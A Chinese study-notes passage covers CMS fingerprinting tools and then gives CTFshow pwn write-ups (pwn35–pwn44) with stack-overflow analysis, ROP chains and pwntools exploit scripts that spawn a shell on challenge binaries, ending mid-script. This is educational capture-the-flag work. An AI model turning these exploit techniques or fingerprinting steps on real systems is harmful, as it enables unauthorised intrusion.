案例：
- 农村经济与科技网站源码中包含dedecms.css文件
- 酷壳网站源码显示wp-content路径和WordPress相关文件

特定文件：

文件作用：控制搜索引擎爬虫的抓取规则
识别价值：
- 各CMS系统有默认的robots.txt内容
- 如Discuz禁止爬取/api/, /data/等目录
- 织梦常见禁止/plus/, /templets/等目录
应用场景：
- 即使删除了版权信息，robots.txt可能保留系统特征
- 批量识别时可通过此文件快速判断系统类型

CMS指纹识别的工具

Kali自带工具whatweb

命令：whatweb -v www.coolshell.cn

浏览器插件

whatruns https://www.whatruns.com/
Wappalyzer https://www.wappalyzer.com

在线网站

http://whatweb.bugscaner.com
http://finger.tidesec.com/

离线工具

御剑指纹扫描器：
- 需要.NET Framework 3.5环境
- 适合Windows平台使用
Test404轻量CMS识别：
- 支持批量导入URL识别
- 识别速度较慢但结果详细
- 主要用于建站仿站场景

其他开源程序

https://github.com/Tuhinshubhra/CMSeeK

直接kali里下载，然后cmseek -u www.coolshell.cn

这个会给结构

搜索引擎收集

2025-07-28T12:16:36.000Z

pwn35-90(50,53,80还需要再看看)

2025-07-17T04:00:00.000Z

pwn35

Hint：正式开始栈溢出了，先来一个最最最最简单的吧
  用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接
  ssh ctfshow@题目地址 -p题目端口号
  不是nc连接

$ cyclic 105
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
$ ssh ctfshow@题目地址 -p题目端口号
$./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : See what the program does!
    * *************************************
Where is flag?

ctfshow{...}

分析过程：

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位程序开启NX，部分开启RELRO

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [esp+0h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  puts(asc_8048910);
  puts(asc_8048984);
  puts(asc_8048A00);
  puts(asc_8048A8C);
  puts(asc_8048B1C);
  puts(asc_8048BA0);
  puts(asc_8048C34);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : See what the program does!                              ");
  puts("    * *************************************                           ");
  puts("Where is flag?\n");
  if ( argc <= 1 )
  {
    puts("Try again!");
  }
  else
  {
    ctfshow((char *)argv[1]);
    printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
  }
  return 0;
}

打开”/ctfshow_flag” 文件，读取其中的内容，并根据命令行参数决定打印不同的消息。如果命令行参数个数小于等于 1，则提示用户重试，否则调用 ctfshow 函数处理用户输入的命令行参数，并输出相关消息。

跟进ctfshow函数：

char *__cdecl ctfshow(char *src)
{
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return strcpy(dest, src);
}

char dest; 声明一个名为 dest 的字符变量。 return strcpy(&dest, src); 使用 strcpy 函数将 src 字符串复制到 dest 字符数组中，并返回指向 dest 的指针。strcpy函数这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。

.bss:0804B060                 public flag
.bss:0804B060 ; char flag[64]
.bss:0804B060 flag            db 40h dup(?)           ; DATA XREF: sigsegv_handler+1D↑o
.bss:0804B060                                         ; main+66↑o
.bss:0804B060 _bss            ends
.bss:0804B060

注意到signal(11, (__sighandler_t)sigsegv_handler);函数

当发生对存储的无效访问时,会把stderr打印输出,即将flag的值打印输出

那么我们直接输入超长数据就会溢出，程序就会崩溃进而打印出flag

$ cyclic 105
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
$ ./pwn aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : See what the program does!
    * *************************************
Where is flag?

flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  RWX:        Has RWX segments

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

使用 gets 函数从标准输入读取一行字符串，并将其存储在 s 数组中。然后，返回指向 s 的指针。 gets 函数是非常不安全的，容易导致缓冲区溢出漏洞。因为它无法限制输入的长度，可能会超出s 数组的容量，导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞，s距ebp仅有0x28，而gets不限制输入长度。

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn37

Hint：32位的 system(“/bin/sh”) 后门函数给你

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32为程序，关闭了栈保护与PIE

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init(&argc);
  logo();
  puts("Just very easy ret2text&&32bit");
  ctfshow();
  puts("\nExit");
  return 0;
}

简单查看能够看到漏洞函数为ctfshow函数，跟进ctfshow函数：

ssize_t ctfshow()
{
  _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

首先声明了一个名为 buf 的字符数组，大小为14字节它距离ebp的距离为0x12，这里通过read函数

buf能读入0x32 ，转换为10进制就是50个字节的数据，因此这里很明显就存在栈溢出了，在找到漏洞点

后，很明显看到左边有一个backdoor函数，跟进查看：

int backdoor()
{
  system("/bin/sh");
  return 0;
}

发现是我们所需的一个后门函数，那么我们直接进行溢出覆盖返回地址再输入后门函数地址即可控

制程序的执行流程至此，那么我们也就得到了我们所需要的一个shell了。

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
backdoor=0x08048521 #backdoor = elf.sym['backdoor']
payload=cyclic(0x12+4)+p32(backdoor) #b'a'*(0x12+4)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 76
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : It has system and '/bin/sh'.There is a backdoor function
    * *************************************
Just very easy ret2text&&32bit
$ ls
ctfshow_flag  exp.py  pwn

pwn38

Hint：64位的 system(“/bin/sh”) 后门函数给你

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No
 $ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x00000000004007e3 : pop rdi ; ret

64位程序，关闭了栈保护与PIE

将程序拖进64位IDA查看main函数跟进漏洞ctfshow函数：

ssize_t ctfshow()
{
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32u);
}

与上题一样，这里存在溢出点，也同样存在后门函数backdoor：

__int64 backdoor()
{
  system("/bin/sh\n");
  return 0;
}

但是与32位不同的是，这里需要考虑到堆栈平衡加上ret返回地址

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show', 28140)
elf = ELF('./pwn')
backdoor = elf.sym['backdoor']
ret = 0x40066D
payload = b'a'*(0xA+8) + p64(ret) + p64(backdoor)
io.sendline(payload)
io.recv()
io.interactive()
或者
from pwn import *
io=process('./pwn')
elf=ELF('./pwn')
system_addr = elf.plt['system']  # system函数地址
binsh_addr=0x40065B 
pop_rdi=0x4007e3
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 107
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : It has system and '/bin/sh'.There is a backdoor function
    * *************************************
Just easy ret2text&&64bit
$ ls
ctfshow_flag  exp.py  pwn

pwn39

Hint：32位的 system(); “/bin/sh”

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No
$ objdump -d ./pwn | grep system@plt
080483a0 :
 804854f:e8 4c fe ff ff       call   80483a0

32位程序，关闭了栈保护与PIE

IDA查看漏洞函数：

ssize_t __cdecl ctfshow()
{
  _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}

同样的，漏洞点还是在这，但是我们需要的东西发生了改变，跟进hint函数：

int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

发现有“/bin/sh”字符串，有system函数打，但是直接把程序的流程劫持到这并不能得到我们想要

的，我们需要进一步进行构造来进行获取shell

payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)

如上所示，我们构造的payload在先进行溢出后，填上system函数的地址，这里我们需要注意函数调用栈的结构，如果是正常调用 system 函数，我们调用的时候会有一个对应的返回地址，使用 p32 函数将整数值0转换为4字节的字符串。这个字符串将作为 system 函数的第二个参数，用于提供一个指向空值的指针作为 system 函数的第二个参数。当然在这里使用其他任意4个字符进行覆盖也可以如‘aaaa’,’bbbb’等均可。 p32(bin_sh) : 这部分使用 p32 函数将 bin_sh 的地址转换为一个4字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串（如 /bin/sh ）的指针。该字符串将作为 system函数的第一个参数。

到此我们就手动构造出了一个system(“/bin/sh”)出来了，也就能获得我们所需要的shell了

.rodata:08048750 aBinSh          db '/bin/sh',0          ; DATA XREF: hint+15↑o

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
bin_sh=0x08048750  #"/bin/sh"字符串地址（.rodata段）
payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 192
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : It has system and '/bin/sh',but they don't work together
    * *************************************
Just easy ret2text&&32bit
$ ls
ctfshow_flag  exp.py  pwn

pwn40

Hint：64位的 system(); “/bin/sh”

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x00000000004007e3 : pop rdi ; ret

是64位程序，关闭了栈保护与PIE

这几题的漏洞点都几乎一样，唯一不同的就是慢慢的少了参数之类的，重复的内容就不再赘述了，

讲解关键的

ssize_t ctfshow()
{
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32u);
}

hint：

int hint()
{
  puts("/bin/sh");
  return system("echo 'You find me?'");
}

这里与上一题一样，有system函数，有‘/bin/sh’字符串，但是不在一起，因此我们仍然需要手动进行构造payload

64位和32位不同，参数不是直接放在栈上，而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。

payload = b'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)

对每个部分进行逐步解释：

‘a’*(0xA+8) : 这部分生成了一个由字符 ‘a’ 组成的字符串，长度为0xA+8。这是为了填充缓冲区，达到溢出栈帧的目的。
p64(pop_rdi) : 这部分使用 p64 函数将 pop_rdi 的地址转换为一个8字节的字符串。pop_rdi 指令用于将值从栈上弹出并存储到寄存器rdi中。在这个payload中，它用于准备传递给 system 函数的第一个参数。
p64(bin_sh) : 这部分使用 p64 函数将 bin_sh 的地址转换为一个8字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串（如 /bin/sh ）的指针。该字符串将作为 system 函数的第一个参数。
p64(ret) : 这部分使用 p64 函数将 ret 的地址转换为一个8字节的字符串。 ret 是一个返回指令，用于将程序控制权返回到栈上保存的地址。在这个payload中，它被用作一个间接跳转指令，用于绕过栈中的返回地址，以达到执行 system 函数的目的。
p64(system) : 这部分使用 p64 函数将 system 的函数地址转换为一个8字节的字符串。system 是一个函数指针，指向一个可以执行系统命令的函数。最终我们的目的就是通过栈溢出修改返回地址，以控制程序执行流程。它通过调用 pop_rdi 指令将bin_sh 的地址加载到寄存器rdi中，然后通过 ret 指令进行间接跳转，最终调用 system 函数，以执行system(“/bin/sh”)进而获得一个我们想要的shell。

.init:00000000004004FE                 retn
.rodata:0000000000400808 s               db '/bin/sh',0          ; DATA XREF: hint+4↑o

from pwn import *
context.log_level = 'debug'
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
pop_rdi=0x4007E3
bin_sh=0x400808
ret=0x4004FE
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 239
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : It has system and '/bin/sh',but they don't work together
    * *************************************
Just easy ret2text&&64bit
$ ls
ctfshow_flag  exp.py  pwn

pwn41

Hint：32位的 system(); 但是没”/bin/sh” ，好像有其他的可以替代

与上面一样，只不过这次出现的不是“/bin/sh”字符串，题目提示让我们找到一个字符串来进行替代它，通过对前面的学习，我们知道可以使用”sh”来进行替代“/bin/sh

int useful()
{
  return printf("sh");
}

那么它两有什么区别呢？

system(“/bin/sh”) ：
- 在Linux和类Unix系统中， /bin/sh 通常是一个符号链接，指向系统默认的shell程序（如Bash或Shell）。因此，使用 system(“/bin/sh”) 会启动指定的shell程序，并在新的子进程中执行。
- 这种方式可以确保使用系统默认的shell程序执行命令，因为 /bin/sh 链接通常指向默认shell的可执行件。
system(“sh”) ：
- 使用 system(“sh”) 会直接启动一个名为 sh 的shell程序，并在新的子进程中执行。
- 这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径，否则可能会导致找不到 sh 而执行失败。

总结来说， system(“/bin/sh”) 是直接指定了系统默认的shell程序路径来执行命令，而system(“sh”) 则依赖系统的环境变量 $PATH 来查找 sh 可执行文件并执行。如果系统的环境变量设置正确，这两种方式是等效的

.rodata:080487BA aSh             db 'sh',0               ; DATA XREF: useful+14↑o

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
sh=0x080487BA
payload=cyclic(0x12+4)+p32(system)+p32(0)+p32(sh)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 263
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : It has system ,but don't have '/bin/sh'.Find something to replace it!
    * *************************************
$ ls
ctfshow_flag  exp.py  pwn

pwn42

Hint：64位的 system(); 但是没”/bin/sh” ，好像有其他的可以替代

同上，也仅仅是64位与32位的区别

$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x0000000000400843 : pop rdi ; ret

.init:000000000040053E                 retn
.rodata:0000000000400872 format          db 'sh',0               ; DATA XREF: useful+4↑o

from pwn import *
#context.log_level = 'debug'
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
pop_rdi=0x400843
ret=0x40053E
sh=0x400872
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 286
[*] '/CTFshow_pwn/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : It has system ,but don't have '/bin/sh'.Find something to replace it!
    * *************************************
$ ls
ctfshow_flag  exp.py  pwn

pwn43

Hint：32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了，想想办法

这题又有所不同了，存在system函数，但是没有了参数供我们使用，需要我们自己去进行构造。我们一步步的开始学习新东西

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No
$ ROPgadget --binary ./pwn | grep "pop ebx ; ret"
0x08048409 : pop ebx ; ret

可以看到是32位程序，关闭栈保护和PIE保护的

IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  logo();
  ctfshow();
  return 0;
}

同样的，简单查看各个函数后跟进漏洞函数ctfshow：

char *ctfshow()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return gets(s);
}
int hint()
{
  time_t seed; // eax
  int result; // eax
  int v2; // [esp+8h] [ebp-10h] BYREF
  int v3; // [esp+Ch] [ebp-Ch]

  seed = time(0);
  srand(seed);
  v3 = rand();
  __isoc99_scanf("%d", &v2);
  result = v2;
  if ( v3 == v2 )
    return system("where is shell?");
  return result;
}

这次有变化了，这次是用gets函数进行读入数据，它可以无限读取，不会判断上限，可以包含空格，以回车结束读取。所以这里就存在了明显的溢出

同时我们可以看到程序中已有system函数，那么我们只需要去找到它的参数，但是遗憾的是并没有找到

但是我们可以注意bss段有一个buf2

.bss:0804B060                 public buf2
.bss:0804B060 buf2            db    ? ;

那么我们向程序中 bss 段的 buf2 处写入 “/bin/sh” 字符串，并将其地址作为 system 的参数传入。

我们可以构造如下payload：

payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system)
+ 'aaaa' + p32(buf2)

我们逐步解释此payload：

cyclic(0x6c+4) : 这部分使用pwntools库中的 cyclic 函数生成一个循环模式的字符串，长度为0x6c+4。循环模式字符串用于进行调试和定位溢出点。当然这里你也可以继续使用 b’a’*(0x6c+4)也是没有问题的。
p32(gets) : 这部分使用pwntools的 p32 函数将 gets 函数的地址转换为一个4字节的字符串。它用于将 gets 函数的地址作为返回地址覆盖到栈上。使程序在溢出时调用 gets 函数。
p32(pop_ebx) : 这部分使用 p32 函数将 pop_ebx 的地址转换为一个4字节的字符串。pop_ebx 是一个指令序列，用于将栈上的值弹出并存储到寄存器ebx中。(清理栈)
p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。 buf2 是一个指向存储输入数据的缓冲区的指针。
p32(system) : 这部分使用 p32 函数将 system 函数的地址转换为一个4字节的字符串。它将用于将 system 函数的地址作为返回地址覆盖到栈上。
‘aaaa’ : 这部分是一个4字节的字符串，用于填充栈上的返回地址的剩余空间。【可以写成p32(0)]
p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。它作为pop_ebx 指令的参数，用于将 buf2 的地址加载到寄存器ebx中。

这个payload的目的是通过栈溢出漏洞控制程序的执行流程。它通过覆盖返回地址，将 gets 函数的地址作为返回地址覆盖到栈上。然后使用 pop_ebx 指令将 buf2 的地址加载到寄存器ebx中，最后覆盖返回地址为 system 函数的地址。通过这样的方式，可以执行 system(buf2) 来执行 buf2 指向的字符串所表示的系统命令。

# 栈布局（高地址 → 低地址）
+-------------------+  ← 初始栈顶（溢出前）
|       ...         |  其他栈数据
+-------------------+
|   s[103] (局部)   |  ctfshow函数的局部数组s[104]
|   s[102] (局部)   |  偏移：ebp-0x6C 到 ebp-0x1
|       ...         |
|   s[0] (局部)     |
+-------------------+  ← ebp-0x6C（s的起始地址）
|      ebp值        |  旧基址指针（4字节），偏移：ebp
+-------------------+  ← 返回地址（溢出目标）
|  gets函数地址     |  [溢出覆盖] 第一步：跳转到gets函数
+-------------------+  ← gets执行完后返回的地址
|  pop_ebx地址      |  [溢出覆盖] 第二步：执行pop ebx; ret
+-------------------+  ← pop_ebx的参数（gets的参数）
|  buf2地址(0x804B060)| [溢出覆盖] 往buf2写入"/bin/sh"(告诉gets将输入写入到buf2地址)
+-------------------+  ← pop_ebx执行完后返回的地址
|  system函数地址   |  [溢出覆盖] 第三步：跳转到system函数
+-------------------+  ← system执行完后返回的地址（无用）
|  占位数据(aaaa)   |  [溢出覆盖] 随便填4字节（如0x61616161）
+-------------------+  ← system的参数
| buf2地址(0x804B060)| [溢出覆盖] system("/bin/sh")的参数(告诉system执行buf2地址处的字符串)
+-------------------+  ← 溢出后的栈顶（payload末尾）
|       ...         |  更低地址的栈数据

# 执行流程箭头说明：
ctfshow函数崩溃 → 跳转到gets函数 → 执行gets(buf2) → 接收输入"/bin/sh"写入buf2 → 跳转到pop_ebx → 弹出buf2地址到ebx → 跳转到system函数 → system读取参数buf2 → 执行system("/bin/sh") → 获取shell

io.sendline("/bin/sh")

这里通过输入传递给 gets 函数。由于payload中已经控制了程序的执行流程，这个输入将成为gets 函数的输入，进而被作为 system 函数的参数执行系统命令。

最终我们这样就执行了system(“/bin/sh”) 进而实现了我们的目的了

from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
buf2=0x0804B060
gets=elf.sym['gets']
pop_ebx=0x08048409
payload=cyclic(0x6C+4)+p32(gets)+p32(pop_ebx)+p32(buf2)+p32(system)+p32(0)+p32(buf2)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 308
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
/CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline("/bin/sh")
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : This time there is no replacement! How to do?
    * *************************************
$ ls
ctfshow_flag  exp.py  pwn

pwn44

Hint：64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了，想想办法

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       amd64-64-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No
$ ROPgadget --binary ./pwn | grep "pop rdi ; ret"
0x00000000004007f3 : pop rdi ; ret

64位程序仍然是关闭栈保护与PIE

IDA查看漏洞函数ctfshow：

__int64 ctfshow()
{
  _BYTE v1[10]; // [rsp+6h] [rbp-Ah] BYREF

  return gets(v1);
}
int hint()
{
  return system("no shell for you");
}

还是栈溢出漏洞，跟上题一样，有system函数，没有参数，也没有看到可以替代的

我们构造payload：

payload = cyclic(0xA + 8) + p64(pop_rdi) + p64(buf2) + p64(gets) +
p64(pop_rdi) + p64(buf2) + p64(system)

首先利用 pop_rdi 指令将 buf2 的地址加载到 rdi 寄存器中。调用 gets 函数，以 buf2 的地址作为参数，从用户输入中读取数据，并将其存储在 buf2 中。再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中。调用 system 函数，以 buf2 的地址作为参数，执行指定的命令。

或者也可以直接套板子ret2libc直接求解也是可以的（在下面的几题也是用的此种做法）

.bss:0000000000602080                 public buf2
.bss:0000000000602080 buf2            db    ? ;

# 栈布局（高地址 → 低地址）
+-----------------------+  ← 初始栈顶（溢出前）
|        ...            |  其他栈数据
+-----------------------+
|   局部变量（0xA字节）  |  被cyclic(0xA)覆盖
+-----------------------+
|       rbp值           |  旧基址指针（8字节），被cyclic(8)覆盖
+-----------------------+  ← 返回地址（溢出目标）
|   pop rdi地址         |  [溢出覆盖] 第一步：执行pop rdi; ret
+-----------------------+  ← pop rdi的操作数（gets的参数）
|   buf2地址(0x602080)  |  被弹出到rdi寄存器（gets要写入的地址）
+-----------------------+  ← gets执行完后返回的地址
|   gets函数地址        |  [溢出覆盖] 第二步：调用gets函数
+-----------------------+  ← gets执行完后的返回地址
|   pop rdi地址         |  [溢出覆盖] 第三步：再次执行pop rdi; ret
+-----------------------+  ← pop rdi的操作数（system的参数）
|   buf2地址(0x602080)  |  被弹出到rdi寄存器（此时已存"/bin/sh"）
+-----------------------+  ← system执行完后返回的地址（可省略）
|   system函数地址      |  [溢出覆盖] 第四步：调用system函数
+-----------------------+  ← 溢出后的栈顶（payload末尾）
|        ...            |  更低地址的栈数据

# 执行流程箭头：
溢出后 → pop rdi（rdi=buf2） → 调用gets → 写入"/bin/sh"到buf2 →
pop rdi（rdi=buf2） → 调用system → system读取rdi中buf2的"/bin/sh" → 获取shell

from pwn import *
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
system=elf.sym['system']
gets=elf.sym['gets']
pop_rdi=0x4007f3
buf2=0x602080
payload=cyclic(0xA+8)+p64(pop_rdi)+p64(buf2)+p64(gets)+p64(pop_rdi)+p64(buf2)+p64(system)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

或者
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28137)
elf = ELF('./pwn')
libc = ELF('/home/bit/libc/64bit/libc-2.27.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
pop_rdi = 0x4007f3 # 0x00000000004007f3 : pop rdi ; ret
ret = 0x4004fe # 0x00000000004004fe : ret
payload = cyclic(0xA+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +
p64(main)
